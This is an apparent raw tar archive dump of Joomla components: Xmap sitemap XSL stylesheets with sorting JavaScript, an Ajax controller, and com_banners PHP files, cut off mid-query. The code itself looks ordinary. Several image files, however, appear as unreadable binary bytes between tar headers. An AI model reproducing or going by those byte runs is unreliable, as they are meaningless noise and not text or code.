            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.2</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.3</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.4</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.5</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.6</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.7</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.8</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.9</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">1</a></td></tr>
        </table>
    </div>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
com_xmap/assets/xsl/gss.xsl000060400000017573152453734450012030 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" exclude-result-prefixes="xna">
<xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
<xsl:template match="/">
<html>
<head>
<title>Google Sitemap File</title>
<style type="text/css">
    <![CDATA[
    <!--
    h1 { 
        font-weight:bold;
        font-size:1.5em;
        margin-bottom:0;
        margin-top:1px;
    }
    h2 { 
        font-weight:bold;
        font-size:1.2em;
        margin-bottom:0; 
        color:#707070;
        margin-top:1px;
    }
    p.sml { 
        font-size:0.8em;
        margin-top:0;
    }
    .sortup {
        background-position: right center;
        background-image: url(http://www.google.com/webmasters/sitemaps/images/sortup.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    .sortdown {
        background-position: right center;
        background-image: url(http://www.google.com/webmasters/sitemaps/images/sortdown.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    table.copyright {
        width:100%;
        border-top:1px solid #ddad08;
        margin-top:1em;
        text-align:center;
        padding-top:1em;
        vertical-align:top;
    }
    table.data {
        font-size: 12px;
        width: 100%;
        border: 1px solid #000000;
    }
    table.data tr.header td{
        background-color: #CCCCCC;
        color: #FFFFFF;
        font-weight: bold;
        font-size: 14px;
    }
    -->
    ]]>
</style>
<script language="JavaScript">
    <![CDATA[
    var selectedColor = "blue";
    var defaultColor = "black";
    var hdrRows = 1;
    var numeric = '..';
    var desc = '..';
    var html = '..';
    var freq = '..';

    function initXsl(tabName,fileType) {
        hdrRows = 1;

        if(fileType=="sitemap") {
            numeric = ".3.";
            desc = ".1.";
            html = ".0.";
            freq = ".2.";
            initTable(tabName);
            setSort(tabName, 3, 1);
        }
        else {
            desc = ".1.";
            html = ".0.";
            initTable(tabName);
            setSort(tabName, 1, 1);
        }

        var theURL = document.getElementById("head1");
        theURL.innerHTML += ' ' + location;
        document.title += ': ' + location;
    }

    function initTable(tabName) {
        var theTab = document.getElementById(tabName);
        for(r=0;r<hdrRows;r++)
            for(c=0;c<theTab.rows[r].cells.length;c++)
                if((r+theTab.rows[r].cells[c].rowSpan)>hdrRows)
                    hdrRows=r+theTab.rows[r].cells[c].rowSpan;
        for(r=0;r<hdrRows; r++){
            colNum = 0;
            for(c=0;c<theTab.rows[r].cells.length;c++, colNum++){
                if(theTab.rows[r].cells[c].colSpan<2){
                    theCell = theTab.rows[r].cells[c];
                    rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;/g,'');
                    if(rTitle>""){
                        theCell.title = "Change sort order for " + rTitle;
                        theCell.onmouseover = function(){setCursor(this, "selected")};
                        theCell.onmouseout = function(){setCursor(this, "default")};
                        var sortParams = 15; // bitmapped: numeric|desc|html|freq
                        if(numeric.indexOf("."+colNum+".")>-1) sortParams -= 1;
                        if(desc.indexOf("."+colNum+".")>-1) sortParams -= 2;
                        if(html.indexOf("."+colNum+".")>-1) sortParams -= 4;
                        if(freq.indexOf("."+colNum+".")>-1) sortParams -= 8;
                        theCell.onclick = new Function("sortTable(this,"+(colNum+r)+","+hdrRows+","+sortParams+")");
                    }
                } else {
                    colNum = colNum+theTab.rows[r].cells[c].colSpan-1;
                }
            }
        }
    }

    function setSort(tabName, colNum, sortDir) {
        var theTab = document.getElementById(tabName);
        theTab.rows[0].sCol = colNum;
        theTab.rows[0].sDir = sortDir;
        if (sortDir) 
            theTab.rows[0].cells[colNum].className='sortdown'
        else
            theTab.rows[0].cells[colNum].className='sortup';
    }

    function setCursor(theCell, mode){
        rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;|\W/g,'');
        if(mode=="selected"){
            if(theCell.style.color!=selectedColor) 
                defaultColor = theCell.style.color;
            theCell.style.color = selectedColor;
            theCell.style.cursor = "pointer";
            window.status = "Click to sort by '"+rTitle+"'";
        } else {
            theCell.style.color = defaultColor;
            theCell.style.cursor = "";
            window.status = "";
        }
    }

    function sortTable(theCell, colNum, hdrRows, sortParams){
        var typnum = !(sortParams & 1);
        sDir = !(sortParams & 2);
        var typhtml = !(sortParams & 4);
        var typfreq = !(sortParams & 8);
        var tBody = theCell.parentNode;
        while(tBody.nodeName!="TBODY"){
            tBody = tBody.parentNode;
        }
        var tabOrd = new Array();
        if(tBody.rows[0].sCol==colNum) sDir = !tBody.rows[0].sDir;
        if (tBody.rows[0].sCol>=0)
            tBody.rows[0].cells[tBody.rows[0].sCol].className='';
        tBody.rows[0].sCol = colNum;
        tBody.rows[0].sDir = sDir;
        if (sDir) 
            tBody.rows[0].cells[colNum].className='sortdown'
        else 
            tBody.rows[0].cells[colNum].className='sortup';
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            colCont = tBody.rows[r].cells[colNum].innerHTML;
            if(typhtml) colCont = colCont.replace(/<[^>]+>/g,'');
            if(typnum) {
                colCont*=1;
                if(isNaN(colCont)) colCont = 0;
            }
            if(typfreq) {
                switch(colCont.toLowerCase()) {
                    case "always":  { colCont=0; break; }
                    case "hourly":  { colCont=1; break; }
                    case "daily":   { colCont=2; break; }
                    case "weekly":  { colCont=3; break; }
                    case "monthly": { colCont=4; break; }
                    case "yearly":  { colCont=5; break; }
                    case "never":   { colCont=6; break; }
                }
            }
            tabOrd[i] = [r, tBody.rows[r], colCont];
        }
        tabOrd.sort(compRows);
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            tBody.insertBefore(tabOrd[i][1],tBody.rows[r]);
        } 
        window.status = ""; 
    }

    function compRows(a, b){
        if(sDir){
            if(a[2]>b[2]) return -1;
            if(a[2]<b[2]) return 1;
        } else {
            if(a[2]>b[2]) return 1;
            if(a[2]<b[2]) return -1;
        }
        return 0;
    }

    ]]>
</script>
</head>
<body onLoad="initXsl('table0','sitemap');">
    <h1 id="head1">Site Map</h1>
    <h2>Number of URLs in this Sitemap: <xsl:value-of select="count(xna:urlset/xna:url)"></xsl:value-of></h2>
    <table id="table0" class="data">
        <tr class="header">
            <td>Sitemap URL</td>
            <td>Last modification date</td>
            <td>Change freq.</td>
            <td>Priority</td>
        </tr>
        <xsl:for-each select="xna:urlset/xna:url">
        <tr>
            <td>
                <xsl:variable name="sitemapURL"><xsl:value-of select="xna:loc"/></xsl:variable>
                <a href="{$sitemapURL}" target="_blank" ref="nofollow"><xsl:value-of select="$sitemapURL"></xsl:value-of></a>
            </td>
            <td><xsl:value-of select="xna:lastmod"/></td>
            <td><xsl:value-of select="xna:changefreq"/></td>
            <td><xsl:value-of select="xna:priority"/></td>
        </tr>
        </xsl:for-each>
    </table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
com_xmap/assets/images/sortup.gif000060400000000166152453734450013154 0ustar00GIF89a�������'���xy�]^!�,@#��I�#�=�BPM1zG��c�[��������O;com_xmap/assets/images/img_green.gif000060400000000130152453734450013543 0ustar00GIF89a��f3!�,@H���oE5Th,\2���9@��6�]�1f�$;com_xmap/assets/images/txt_red.gif000060400000000072152453734450013265 0ustar00GIF89a		�����!�,		�����{�Q�"�yP;com_xmap/assets/images/unpublished.png000060400000001114152453734450014153 0ustar00�PNG


IHDR(-SsBIT��O��PLTE����も�RR�::����

夤����((����tt����%%��66���붶�oo����

䒒�CC����cc�������??�{{�))����33�mm��HH����\\�rr�����22�;;�����LL�99�**������##��{{�))�MM�88�ff�ssta�`<tRNS�������������������������������������������������������������b	pHYs��~�tEXtSoftwareMacromedia Fireworks 8�h�x�IDAT�]ω�0`PT���k���)�(
*�`���i��K�S�_)�Hf����;��z7�(����,�S�Ns^�("%��Z�"�LD��^]_	�䲩=]˛�@��6g��=;`J1]����)�|hjƖX����A��.3�t�<6D��QQ�#裣��?���_L�@������oIEND�B`�com_xmap/assets/images/img_orange.gif000060400000000112152453734450013716 0ustar00GIF89a��� !�,@����&LH(����Z��t=S�a��;com_xmap/assets/images/tick.png000060400000000777152453734450012601 0ustar00�PNG


IHDR(-SsBIT��O��PLTEL�	�֥��R��ԟ��c� ������~���V���`���k�/���W����߲֖��}_���]���g�$�渌�PP�
���ݱ\�v�B����������r��[���\T�
��I�׃�ߩ��\���R���W�l�%�Ұ��p�5��΄a�T���`���8tRNS�������������������������������������������������������em�	pHYs��~�tEXtSoftwareMacromedia Fireworks 8�h�xIDAT�c�Eh|C4e6Tci-mn3Y���X4@�HC��RF`k5y�@|a55~�;���L�X����}U�K�u$%%吜.o��ć�EQ�����89Ř�1}���&���<IEND�B`�com_xmap/assets/images/index.html000060400000000036152453734450013122 0ustar00<!DOCTYPE html><title></title>com_xmap/assets/images/img_red.gif000060400000000112152453734450013215 0ustar00GIF89a��3X!�,@����&LH(����Z��t=S�a��;com_xmap/assets/images/txt_blue.gif000060400000000072152453734450013442 0ustar00GIF89a		�33����!�,		@����~42�Kߕ�
;com_xmap/assets/images/txt_orange.gif000060400000000072152453734450013766 0ustar00GIF89a		��}���!�,		@����~42�Kߕ�
;com_xmap/assets/images/txt_grey.gif000060400000000072152453734450013461 0ustar00GIF89a		����!�,		�����{�Q�"�yP;com_xmap/assets/images/img_blue.gif000060400000000111152453734450013371 0ustar00GIF89a����f�!�,@��&��`B ���ֵ*.��Dv!�z;com_xmap/assets/images/img_grey.gif000060400000000112152453734450013411 0ustar00GIF89a����!�,@����`B!���ֵ*.�`=#�]H�;com_xmap/assets/images/sortdown.gif000060400000000133152453734450013471 0ustar00GIF89a��������'���xy�]^!�,@ ��0BfĹ���:�['�
4�h�XY�|�Sd�;com_xmap/assets/images/txt_green.gif000060400000000072152453734450013613 0ustar00GIF89a		�f����!�,		@����~42�Kߕ�
;com_xmap/assets/images/arrow.gif000060400000001524152453734450012751 0ustar00GIF89a����������������������������3f���3333f3�3�3�ff3fff�f�f���3�f��������3�f̙�����3�f������3333f3�3�3�3333333f33�33�33�3f3f33ff3f�3f�3f�3�3�33�f3��3��3��3�3�33�f3̙3��3�3�3�33�f3��3��3��ff3fff�f�f�f3f33f3ff3�f3�f3�ffff3fffff�ff�ff�f�f�3f�ff��f��f��f�f�3f�ff̙f��f�f�f�3f�ff��f��f����3�f���̙��3�33�3f�3��3̙3��f�f3�ff�f��f̙f�����3��f�����̙������3��f�̙��̙�����3��f�����̙����3�f�������3�33�3f�3��3��3��f�f3�ff�f��f��f�̙̙3̙f̙�̙�̙�����3��f�̙�������3�f��������3�f������3�33�3f�3��3�3��f�f3�ff�f��f�f�����3��f������������3��f�̙��������3��f��������,9H����*\Ȑ��#J���ŋ�1#B�5&�@�B?�L.�Ӱ�˗
;com_xmap/controllers/ajax.json.php000060400000004424152453734450013335 0ustar00<?php

/**
 * @version     $Id$
 * @copyright   Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.controller');

/**
 * Xmap Ajax Controller
 *
 * @package      Xmap
 * @subpackage   com_xmap
 * @since        2.0
 */
class XmapControllerAjax extends JControllerLegacy
{

    public function editElement()
    {
        JSession::checkToken('get') or jexit(JText::_('JINVALID_TOKEN'));

        jimport('joomla.utilities.date');
        jimport('joomla.user.helper');
        $user = JFactory::getUser();
        $groups = array_keys(JUserHelper::getUserGroups($user->get('id')));
        $result = new JRegistry('_default');
        $sitemapId = JREquest::getInt('id');

        if (!$user->authorise('core.edit', 'com_xmap.sitemap.'.$sitemapId)) {
            $result->setValue('result', 'KO');
            $result->setValue('message', 'You are not authorized to perform this action!');
        } else {
            $model = $this->getModel('sitemap');
            if ($model->getItem()) {
                $action = JRequest::getCmd('action', '');
                $uid = JRequest::getCmd('uid', '');
                $itemid = JRequest::getInt('itemid', '');
                switch ($action) {
                    case 'toggleElement':
                        if ($uid && $itemid) {
                            $state = $model->toggleItem($uid, $itemid);
                        }
                        break;
                    case 'changeProperty':
                        $uid = JRequest::getCmd('uid', '');
                        $property = JRequest::getCmd('property', '');
                        $value = JRequest::getCmd('value', '');
                        if ($uid && $itemid && $uid && $property) {
                            $state = $model->chageItemPropery($uid, $itemid, 'xml', $property, $value);
                        }
                        break;
                }
            }
            $result->set('result', 'OK');
            $result->set('state', $state);
            $result->set('message', '');
        }

        echo $result->toString();
    }
}com_xmap/controllers/index.html000060400000000036152453734450012721 0ustar00<!DOCTYPE html><title></title>com_banners/banners.php000060400000001153152453734450011203 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_banners'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

// Execute the task.
$controller = JControllerLegacy::getInstance('Banners');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_banners/helpers/category.php000060400000001171152453734450013032 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Banners Component Category Tree
 *
 * @since  1.6
 */
class BannersCategories extends JCategories
{
	/**
	 * Constructor
	 *
	 * @param   array  $options  Array of options
	 *
	 * @since   1.6
	 */
	public function __construct($options = array())
	{
		$options['table']     = '#__banners';
		$options['extension'] = 'com_banners';

		parent::__construct($options);
	}
}
com_banners/helpers/banner.php000060400000001721152453734450012463 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Banner Helper Class
 *
 * @since  1.6
 */
abstract class BannerHelper
{
	/**
	 * Checks if a URL is an image
	 *
	 * @param   string  $url  The URL path to the potential image
	 *
	 * @return  boolean  True if an image of type bmp, gif, jp(e)g or png, false otherwise
	 *
	 * @since   1.6
	 */
	public static function isImage($url)
	{
		return preg_match('#\.(?:bmp|gif|jpe?g|png)$#i', $url);
	}

	/**
	 * Checks if a URL is a Flash file
	 *
	 * @param   string  $url  The URL path to the potential flash file
	 *
	 * @return  boolean  True if an image of type bmp, gif, jp(e)g or png, false otherwise
	 *
	 * @since   1.6
	 */
	public static function isFlash($url)
	{
		return preg_match('#\.swf$#i', $url);
	}
}
com_banners/controller.php000060400000003660152453734450011743 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('BannersHelper', JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php');

/**
 * Banners master display controller.
 *
 * @since  1.6
 */
class BannersController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  BannersController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = array())
	{
		BannersHelper::updateReset();

		$view   = $this->input->get('view', 'banners');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('id');

		// Check for edit form.
		if ($view == 'banner' && $layout == 'edit' && !$this->checkEditId('com_banners.edit.banner', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_banners&view=banners', false));

			return false;
		}
		elseif ($view == 'client' && $layout == 'edit' && !$this->checkEditId('com_banners.edit.client', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_banners&view=clients', false));

			return false;
		}

		return parent::display();
	}
}
com_banners/models/banner.php000060400000027606152453734450012316 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Banner model.
 *
 * @since  1.6
 */
class BannersModelBanner extends JModelAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_BANNERS_BANNER';

	/**
	 * The type alias for this content type.
	 *
	 * @var    string
	 * @since  3.2
	 */
	public $typeAlias = 'com_banners.banner';

	/**
	 * Batch copy/move command. If set to false, the batch copy/move command is not supported
	 *
	 * @var  string
	 */
	protected $batch_copymove = 'category_id';

	/**
	 * Allowed batch commands
	 *
	 * @var  array
	 */
	protected $batch_commands = array(
		'client_id'   => 'batchClient',
		'language_id' => 'batchLanguage'
	);

	/**
	 * Batch client changes for a group of banners.
	 *
	 * @param   string  $value     The new value matching a client.
	 * @param   array   $pks       An array of row IDs.
	 * @param   array   $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal error is set.
	 *
	 * @since   2.5
	 */
	protected function batchClient($value, $pks, $contexts)
	{
		// Set the variables
		$user = JFactory::getUser();

		/** @var BannersTableBanner $table */
		$table = $this->getTable();

		foreach ($pks as $pk)
		{
			if (!$user->authorise('core.edit', $contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));

				return false;
			}

			$table->reset();
			$table->load($pk);
			$table->cid = (int) $value;

			if (!$table->store())
			{
				$this->setError($table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->state != -2)
		{
			return false;
		}

		if (!empty($record->catid))
		{
			return JFactory::getUser()->authorise('core.delete', 'com_banners.category.' . (int) $record->catid);
		}

		return parent::canDelete($record);
	}

	/**
	 * A method to preprocess generating a new title in order to allow tables with alternative names
	 * for alias and title to use the batch move and copy methods
	 *
	 * @param   integer  $categoryId  The target category id
	 * @param   JTable   $table       The JTable within which move or copy is taking place
	 *
	 * @return  void
	 *
	 * @since   3.8.12
	 */
	public function generateTitle($categoryId, $table)
	{
		// Alter the title & alias
		$data = $this->generateNewTitle($categoryId, $table->alias, $table->name);
		$table->name = $data['0'];
		$table->alias = $data['1'];
	}

	/**
	 * Method to test whether a record can have its state changed.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		// Check against the category.
		if (!empty($record->catid))
		{
			return JFactory::getUser()->authorise('core.edit.state', 'com_banners.category.' . (int) $record->catid);
		}

		// Default to component settings if category not known.
		return parent::canEditState($record);
	}

	/**
	 * Returns a JTable object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate. [optional]
	 * @param   string  $prefix  A prefix for the table class name. [optional]
	 * @param   array   $config  Configuration array for model. [optional]
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Banner', $prefix = 'BannersTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form. [optional]
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not. [optional]
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_banners.banner', 'banner', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// Determine correct permissions to check.
		if ($this->getState('banner.id'))
		{
			// Existing record. Can only edit in selected categories.
			$form->setFieldAttribute('catid', 'action', 'core.edit');
		}
		else
		{
			// New record. Can only create in selected categories.
			$form->setFieldAttribute('catid', 'action', 'core.create');
		}

		// Modify the form based on access controls.
		if (!$this->canEditState((object) $data))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('publish_up', 'disabled', 'true');
			$form->setFieldAttribute('publish_down', 'disabled', 'true');
			$form->setFieldAttribute('state', 'disabled', 'true');
			$form->setFieldAttribute('sticky', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('publish_up', 'filter', 'unset');
			$form->setFieldAttribute('publish_down', 'filter', 'unset');
			$form->setFieldAttribute('state', 'filter', 'unset');
			$form->setFieldAttribute('sticky', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$app  = JFactory::getApplication();
		$data = $app->getUserState('com_banners.edit.banner.data', array());

		if (empty($data))
		{
			$data = $this->getItem();

			// Prime some default values.
			if ($this->getState('banner.id') == 0)
			{
				$filters     = (array) $app->getUserState('com_banners.banners.filter');
				$filterCatId = isset($filters['category_id']) ? $filters['category_id'] : null;

				$data->set('catid', $app->input->getInt('catid', $filterCatId));
			}
		}

		$this->preprocessData('com_banners.banner', $data);

		return $data;
	}

	/**
	 * Method to stick records.
	 *
	 * @param   array    $pks    The ids of the items to publish.
	 * @param   integer  $value  The value of the published state
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function stick(&$pks, $value = 1)
	{
		/** @var BannersTableBanner $table */
		$table = $this->getTable();
		$pks   = (array) $pks;

		// Access checks.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				if (!$this->canEditState($table))
				{
					// Prune items that you can't change.
					unset($pks[$i]);
					JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));
				}
			}
		}

		// Attempt to change the state of the records.
		if (!$table->stick($pks, $value, JFactory::getUser()->id))
		{
			$this->setError($table->getError());

			return false;
		}

		return true;
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   JTable  $table  A record object.
	 *
	 * @return  array  An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function getReorderConditions($table)
	{
		return array(
			'catid = ' . (int) $table->catid,
			'state >= 0'
		);
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();

		if (empty($table->id))
		{
			// Set the values
			$table->created    = $date->toSql();
			$table->created_by = $user->id;

			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = $this->getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from('#__banners');

				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			// Set the values
			$table->modified    = $date->toSql();
			$table->modified_by = $user->id;
		}

		// Increment the content version number.
		$table->version++;
	}

	/**
	 * Allows preprocessing of the JForm object.
	 *
	 * @param   JForm   $form   The form object
	 * @param   array   $data   The data to be merged into the form object
	 * @param   string  $group  The plugin group to be executed
	 *
	 * @return  void
	 *
	 * @since    3.6.1
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		if ($this->canCreateCategory())
		{
			$form->setFieldAttribute('catid', 'allowAdd', 'true');

			// Add a prefix for categories created on the fly.
			$form->setFieldAttribute('catid', 'customPrefix', '#new#');
		}

		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input = JFactory::getApplication()->input;

		JLoader::register('CategoriesHelper', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/categories.php');

		// Create new category, if needed.
		$createCategory = true;

		// If category ID is provided, check if it's valid.
		if (is_numeric($data['catid']) && $data['catid'])
		{
			$createCategory = !CategoriesHelper::validateCategoryId($data['catid'], 'com_banners');
		}

		// Save New Category
		if ($createCategory && $this->canCreateCategory())
		{
			$table              = array();

			// Remove #new# prefix, if exists.
			$table['title'] = strpos($data['catid'], '#new#') === 0 ? substr($data['catid'], 5) : $data['catid'];
			$table['parent_id'] = 1;
			$table['extension'] = 'com_banners';
			$table['language']  = $data['language'];
			$table['published'] = 1;

			// Create new category and get catid back
			$data['catid'] = CategoriesHelper::createCategory($table);
		}

		// Alter the name for save as copy
		if ($input->get('task') == 'save2copy')
		{
			/** @var BannersTableBanner $origTable */
			$origTable = clone $this->getTable();
			$origTable->load($input->getInt('id'));

			if ($data['name'] == $origTable->name)
			{
				list($name, $alias) = $this->generateNewTitle($data['catid'], $data['alias'], $data['name']);
				$data['name']       = $name;
				$data['alias']      = $alias;
			}
			else
			{
				if ($data['alias'] == $origTable->alias)
				{
					$data['alias'] = '';
				}
			}

			$data['state'] = 0;
		}

		return parent::save($data);
	}

	/**
	 * Is the user allowed to create an on the fly category?
	 *
	 * @return  boolean
	 *
	 * @since   3.6.1
	 */
	private function canCreateCategory()
	{
		return JFactory::getUser()->authorise('core.create', 'com_banners');
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.9.25
	 */
	public function validate($form, $data, $group = null)
	{
		// Don't allow to change the users if not allowed to access com_users.
		if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
		{
			if (isset($data['created_by']))
			{
				unset($data['created_by']);
			}
		}

		return parent::validate($form, $data, $group);
	}
}
com_banners/models/banners.php000060400000017653152453734450012502 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Methods supporting a list of banner records.
 *
 * @since  1.6
 */
class BannersModelBanners extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'cid', 'a.cid', 'client_name',
				'name', 'a.name',
				'alias', 'a.alias',
				'state', 'a.state',
				'ordering', 'a.ordering',
				'language', 'a.language',
				'catid', 'a.catid', 'category_title',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'created', 'a.created',
				'impmade', 'a.impmade',
				'imptotal', 'a.imptotal',
				'clicks', 'a.clicks',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'sticky', 'a.sticky',
				'client_id',
				'category_id',
				'published',
				'level', 'c.level',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to get the maximum ordering value for each category.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public function &getCategoryOrders()
	{
		if (!isset($this->cache['categoryorders']))
		{
			$db = $this->getDbo();
			$query = $db->getQuery(true)
				->select('MAX(ordering) as ' . $db->quoteName('max') . ', catid')
				->select('catid')
				->from('#__banners')
				->group('catid');
			$db->setQuery($query);
			$this->cache['categoryorders'] = $db->loadAssocList('catid', 0);
		}

		return $this->cache['categoryorders'];
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id AS id,'
				. 'a.name AS name,'
				. 'a.alias AS alias,'
				. 'a.checked_out AS checked_out,'
				. 'a.checked_out_time AS checked_out_time,'
				. 'a.catid AS catid,'
				. 'a.clicks AS clicks,'
				. 'a.metakey AS metakey,'
				. 'a.sticky AS sticky,'
				. 'a.impmade AS impmade,'
				. 'a.imptotal AS imptotal,'
